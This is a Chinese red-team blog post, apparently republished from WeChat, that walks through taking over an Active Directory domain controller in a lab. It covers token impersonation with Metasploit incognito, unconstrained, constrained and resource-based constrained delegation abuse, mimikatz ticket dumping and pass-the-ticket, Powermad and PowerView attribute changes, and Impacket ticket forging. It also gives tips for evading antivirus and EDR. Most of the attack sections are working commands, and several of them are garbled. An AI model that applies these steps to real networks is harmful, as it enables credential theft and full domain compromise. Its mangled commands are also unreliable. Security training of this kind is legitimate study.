No.0
前言
首先把内网的拓扑图分享给大家
https://boardmix.cn/app/share/CAE.CP32sgwgASoQ146F0I9aGJeoxhBUJNbGvTAGQAE/ lrOtmD
内网技能
No.1
全补丁环境下的域内攻防对抗思考
域控不管是在红队或者蓝队眼里都是重中之重
红队:域控网络权限广,网络凭据多,能够集权管理机器,在攻击眼里即便不是靶标也是关键节点
蓝队:域控不可或缺,作为信息化设备的统一管理认证,多数企业的必备基础架构本次分享不考虑历史漏洞,只通过服务器管理员操作不当导致的漏洞
1、通过令牌窃取在域渗透里快速拿到域控(在域管登录过的主机上面抓取凭据)
2、非约束委派攻击利用
3、约束委派攻击的利用
4、基于资源的约束委派攻击的利用(RBCD)
使用LDAP进行信息收集来规避检测
使用
net group ”Domain Admins” /domain
查询域管
以下信息都可以通过LDAP 查询
(R2 NTLM、Kerberos、LDAP 的认证流程详解)
使用WMIHACKER规避杀软
https://github.com/360-Linton-Lab
1、将命令写到注册表,然后使用wmic读取,无需借助445端口
2、调用Win32_ScheduledJob而不是Win32_Process,不在杀软检测范围内。
R4 绕过 EDR 以及一些防护设备的基本操作和常识
宁愿慢、宁愿稳,也不要一上来就去用大线程去扫,这种行为无异于送人头利用WINRM 进行横向移动
Ø winRM是Windows远程管理服务,默认监听端口5985(HTTP)&5986 (HTTPS)
Ø 在2012以后默认开启。
Ø 微软自带,运维本身也需要使用,无文件落地,动静小
1、通过令牌窃取在域渗透里快速拿到域控(在域管登录过的主机上面抓取凭据)
1、寻找域管登录过的主机
Ø 利用 NetSessionEnum 来找寻登陆sessions
它允许查询是谁在访问此工作站的网络资源(例如文件共享)时所创建的网络会话,从而知道来自何处。
当然这里最好的查询对象是域控 + 文件共享服务器
Ø 利用 NetWkstaUserEnum 来枚举登陆的用户
列出当前登录到该工作站的所有用户的信息。此列表包括交互式、服务和批量登录。此函数需要主机的管理权限
Ø 利用枚举注册表来查看
域内用户都可以, pc 不开远程注册表
2、抓取凭据
Ø 抓取域管明文密码&hash&key dump内存+mimikatz
Ø 窃取域管的访问令牌
基于msf令牌窃取
在提权之后,是域机器,发现域管理员登录过,或者开启了某个进程,可以进行令牌窃取就可以拿到域控了
域控 windows server 2016 10.10.10.10
域主机 windows server 2012 10.10.10.12
kali msfdb run
进行监听主机shell
拿到administrator用户权限
getsystem提权
在 Metasploit 中有⼀个⼯具 incognito,可以直接使⽤:
use incognito
由于当前我们是⼀个 System 权限,所以我们就可以查看到所有的⽤户令牌:
list_tokens -u
我们就可以窃取域管理员的令牌:
impersonate_token 'REDTEAMAdministrator'
此时我们的身份就是⼀个域管理员:
这个时候因为我们是⼀个域管理员了,权限已经是最⼤的了,所以我们和域控建⽴ IPC 不需要输⼊密码,也就变相的拿到了域控制器 10.10.10.10 的权限了:
之后就可以通过 wmi 或者定时任务让域控制器上线到 Metasploit 或者 CobaltStrike 。若我们想要返回之前的⽤户就可以⽤:
rev2self
Windows 平台下 incognito 应⽤
Metasploit 中的 incognito,是从 windows 平台下的 incognito 移植过来的,下⾯介绍⼀下
windows平台下的incognito
下载地址:
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
CobaltStrike 在令牌窃取中的应⽤
⾸先通过拿到⼀个 System 权限的 beacon:我这里是通过msf联动来进行拿system权限的
shell C:locksbeacon.exe
然后查看当前进程:
可以看到当前是⼀个⼀个域管理员的进程的:
此时我们就可以注⼊这个进程上线到 CobaltStrike:
利用委派进行权限提升非约束委派攻击
1. 找到配置了非约束的委派的账户
2. 通过一定手段拿下这台配置了非约束委派的账户的权限
3. 通过一定手段(比如通过打印机的那个漏洞)诱导域管访问我们拿下的配置了非约束委派的账户
4. 导出票据然后进行pass the ticket
Ø 约束委派攻击
1. 找到配置了约束的委派的服务账户A
2. 找到该服务账号委派A委派的服务账户B
3. 通过一定手段拿下这个服务账户A
4. 发起一个从服务A到服务B的正常的约束委派的流程,从而模拟任何用户访问服务B
⾮约束委派攻击原理及利⽤
当前域环境
域环境
域控:redteam.labadministrator 10.10.10.8
域内主机(配置了非约束性委派):redteam.labweblogic
⾮约束委派
在AD域用户中创建weblogic账号
⾸先创建⼀个⾮约束委派账户,注册 SPN :
setspn -U -A MSSQLSvc/mssql.redteam.lab:1433 weblogic
然后需要把委派属性打开:
查找域内⾮约束委派⽤户和计算机用ADfind查找委派用户
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
配置域服务器的委派
当web-2008 机器上设置了⾮约束委派。使⽤ dc 或者域管,去登录 web-2008 ,可在 web- 2008 上留存票据凭证,然后需要让域控模拟访问被设置了⾮约束委派的机器:
Enter-PSSession -ComputerName web-2008
域控模拟访问被设置了约束委派的机器后,这个时候其实域管理员的 TGT 已经缓存在
web-2008 机器上了。
注意:如果遇到这种情况需要开启 wmirm 端⼝:(原因是 wmi 版本太⽼了,需要加 -Port
指定端⼝,⽼版本的wmi 端⼝是 80 )
使⽤命令⾏打开 wmi 服务:(需要管理员权限):
WinRM QuickConfig (y)
此时域管的凭证已缓存于⽬标机器,使⽤域内机器登录本地管理员,导出相关凭证、清除
⼀下当前票据缓存:
mimikatz "privilege::debug" "kerberos::purge" "exit"
然后我们就可以使⽤ mimikatz 即 dump 所有票据出来:
privilege::debug
sekurlsa::tickets /export
这个时候
[0;7a2f78]-2-0-60a10000-Administrator@krbtgt-REDTEAM.COM.kirbi
就是域管理
administrator 的 TGT !
我们现在访问域控肯定是访问不了的:
这个时候就就需要通过 ptt 将 TGT 注⼊到当前会话中:我们重命名为1.kirbi
kerberos::ptt 1.kirbi
这个时候就能访问到域控了:用本地管理员执行
执行形式:
哪个域用户登录过这台机器,就可以获取到哪个用户的权限
约束委派环境配置
https://blog.csdn.net/qq_41617902/article/details/129023521
1、先注册⼀个 SPN:
setspn -U -A SQLServer/redteam.red/MSSQL webserver 2、setspn -L webserver
3、然后配置服务账号:
4、使⽤ Adfind 查询约束委派的⽤户
AdFind.exe -h 10.10.10.10 -u webserver -up 123.bmk -b "DC=redteam,DC=com" -f "(& (samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedNamemsds- allowedtodelegateto
5、利⽤ kekeo 请求该⽤户的 TGT
kekeo.exe
tgt::ask /user:redteam-iis /domain:redteam.red /password:Server12345
/ticket:administrator.kirbi
6、使⽤ mimikatz 将 ST2 导⼊当前会话即可,如果有杀软,⾃⾏免杀,运⾏ mimikatz 进
⾏ ptt:
mimikatz.exe
kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~AD-
2008[email protected]
这个 dir 时候就能访问到域控了,这就是整个约束委派攻击的整个利⽤流程第一点:通过adfind去查询拿到约束委派用户
第二点:必须获取到一个约束委派用户的账号和密码
第三点:必须是域控的服务才可以拿到域控,如果是其他机器的服务那么只能拿到其他机器的权限
约束委派关注的这个机器是不是域控
利用非约束委派拿到机器上的账号密码,那么有域控的进程,可以令牌窃取拿到权限
拿到域机器上的admı ıstrator的本地管理员账号密码
但是无法执行域命令 执行域命令的两点要求 1、拿到域机器
2、拿到域用户
解决办法为,提权到system权限,拿到域用户的密码 1、psexec.exe -accepteula 10.10.10.10 -s cmd.exe通过查询到域用户和组的信息收集的思路
53 88 389 636 ldap协议可能就是域控
基于资源的约束委派攻击
普通用户以域管理员访问cifs ldap服务在大型企业中,有专属的加域账号
saulgoodman 123.bmk!
win2012 10.10.10.10 saul-AD
win7 10.10.10.20 saul-DC
win2016 10.10.10.40 web-2016
首先在域控中创建域用户 saulgoodman win7登录 sauliis win2016登录
通过ADfind 查询每个域机器是由哪个域⽤户添加进域的
AdFind.exe -h 10.10.10.10 -u saulgoodman -up 123.bmk! -b "DC=saul,DC=me"
-f "objectClass=computer" mS-DS-CreatorSID
dn:CN=SAUL-DC,CN=Computers,DC=saul,DC=me
mS-DS-
CreatorSID: S-1-5-21-1333259244-1845320462-2345348826-1104
第一行是域机器第二行是域用户
通过工具sid2user
查看sid的用户名为saulgoodman
sid2user.exe \10.10.10.10 5 21 1333259244 1845320462 2345348826 1104
然后利⽤ powermad 添加机器账户:
下载地址:https://github.com/Kevin-Robertson/Powermad
powershell -exec bypass
. ./powermad.ps1
New-MachineAccount -MachineAccount goodman -Password $(ConvertTo-SecureString
"123456" -AsPlainText -Force)
查看goodman是否添加成功
使用ADExplorer64.exe工具查看goodman的sid
获取 goodman 的 object Sid:得到了 sid 为
S-1-5-21-1333259244-1845320462-2345348826-1106
下⾯是修改 win7 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值,使⽤
Powerview :
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
powershell -exec bypass
. .PowerView.ps1
替换goodman的SID
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD: (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1333259244-1845320462- 2345348826-1106)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)#这里是要修改机器名 saul-DCGet-DomainComputer saul-DC| Set-DomainObject -Set @{'msds- allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Get-DomainComputer win7 -Properties msds-allowedtoactonbehalfofotheridentity
若是成功添加,这里会显示1验证是否成功添加:
通过打包impacket的getST.py生成票据
getST.exe -dc-ip 10.0.0.12 saulgoodman.cn/goodman$:123456 -spn cifs/win7.saulgoodman.cn -impersonate administrator
拒绝访问
之后使⽤ mimikatz 导⼊票据:
kerberos::ptc administrator.ccache
导入后,访问成功
在真实环境下,加域账号名为:adduser
通过拿到adduser就可以拿到通过他加入到域中的所有机器这就是基于资源的约束委派
什么情况下利用?
拿到加域账号可以利用
PS:Web学员投稿
No.2
原文始发于微信公众号(隐雾安全):内网思路分享
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论